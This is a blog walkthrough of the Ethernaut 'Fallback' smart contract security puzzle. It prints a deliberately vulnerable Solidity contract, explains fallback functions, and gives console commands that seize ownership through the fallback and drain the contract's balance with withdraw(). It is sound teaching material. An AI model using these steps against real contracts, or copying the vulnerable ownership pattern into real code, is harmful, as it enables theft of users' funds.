Open Zeppelin's Smart Contract Security Puzzle: Ethernaut Level 1 Walkthrough


Author profile picture

This is an in-depth series of Blogs around OpenZeppelin's smart contract security puzzles. The aim of blogs is to provide a detailed explanation regarding various concepts of Solidity and EVM required to solve a Puzzle. It is highly recommended to attempt to solve these puzzles before reading further.

Level 1: Fallback

The code for the smart contract provided is :

pragma solidity ^0.5.0; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract Fallback { using SafeMath for uint256; mapping(address => uint) public contributions; address payable public owner; constructor() public { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); } modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; } function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if(contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function getContribution() public view returns (uint) { return contributions[msg.sender]; } function withdraw() public onlyOwner { owner.transfer(address(this).balance); } function() payable external { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; }
}

The aim of the task is to :

  1. Claim Ownership of contract
  2. Reduce Balance of Contract to Zero.

Following Concepts are Used to Solve this puzzle:

Fallback Function:

A fallback function in Solidity is a function which receives no parameters, returns no value and must have external visibility. A fallback function is executed if :

  1. There is no data is supplied.
  2. No Function signature matches other functions.
  3. There is no receive ether function defined.

For Example, consider following Smart contract:

pragma solidity >= 0.5.0 < 0.8.0; contract FallbackContract{ bool public fallbackExecuted; fallback() external payable{ fallbackExecuted = true; } function resetFallBackExecuted() public{ fallbackExecuted = false; }
}

You can deploy this contract in remix to see how a fallback function is executed.

1. If no data is supplied:

In Remix, when you deploy a contract, you can see a Low Level Interaction. In Calldata, leave it blank and click "Transact". Make sure fallbackExecuted is false before calling transact. If it is not, call resetFallBackExecuted(). On pressing "Transact", you can see that fallbackExecuted is true which indicates that fallback function was executed.

2. If function signature doesn't match other function call:

In Calldata, put some arbitrary hex value (say 0x0001). You can see that fallback function is executed.

3. There is no receive Ether function:

Try sending some ethers to the contract. You can see that fallback function is executed. Note that fallback function must be payable to receive ethers.

To define a Fallback function for Solidity version 0.5.x

function() external [payable]{ ... //code
}

Let's Solve the Puzzle:

Analyzing the code :

So, we first need to claim ownership of the contract.

Let's see the functions which we may change the owner of the contract.

1. function contribute() :

function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if(contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } }

As we can see, contribute() is a payable function, so we can send ethers when we call this function. Also, the value of ether we send must be less than 0.001 ether, the amount sent is stored in mapping named contributions.

If a user contributes more ether than the owner, then ownership is transferred to the user.

In constructor() of contract, we can see that contribution of the owner is set to 1000 ethers. This can be easily verified in Chrome's developer console.

>owner = await contract.owner()
"0xD95B091f19946d6ef0c88f8CD360c0d6E408876E"
>contributions = await contract.contributions(owner)
BN {negative: 0, words: Array(4), length: 3, red: null}
length: 3
negative: 0
red: null
words: (4) [44040192, 40595831, 222044, empty]
__proto__: Object
>contributions.toString()
"1000000000000000000000"

The amount is displayed in Wei.

So, we can solve this puzzle if we call contribute() until we transfer more than 1000 ether which will take too much time, so let's find some other way.

2. Fallback function :

The fallback function in the code is:

function() payable external { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender;
}

As we can see, if msg.value > 0 and contributions[msg.sender] > 0, owner of contract is changed to msg.sender!!

We can use this function to claim ownership of the contract.

3. withdraw():

function withdraw() public onlyOwner { owner.transfer(address(this).balance);
}

withdraw() simply transfer all ethers in the smart contract to owner.

Solution:

We will solve the puzzle using Dev Console, but it can also be solved using Remix IDE.

First, let's call contribute() and contribute some ether to contract.
In Dev Console, it can be done like this (make sure value is less than 0.001):

>await contract.contribute({value: toWei("0.0005")})
{tx: "0x4af023ce197967d154596f2ee2073039a959fa51a3ebbb906d613c64a0531543", receipt: {…}, logs: Array(0)}

Now that we have made our contribution, we can call fallback function and claim ownership.

>await contract.sendTransaction({
from: player,
to: contract.address,
value: toWei("0.001")
})

On successful transaction, check that you are the owner of the contract.

>await contract.owner()
"0x50c60736D6ff221eDA347A9465aA321ea6908fb7"

Let's check the balance of the contract.

>await getBalance(contract.address)
"0.0015"

We need to reduce this balance to zero.

Call withdraw() to receive all ethers from the smart contract.

>await contract.withdraw()

Check the balance of Smart Contract, it should be zero.

So, we have completed the requirements of the level. You should be able to successfully submit the instance.

Conclusion:

In this puzzle, we learnt how Ethers are transferred to and from the Smart contract, we also learnt about the fallback function.

Become a Hackolyte

Level up your reading game by joining Hacker Noon now!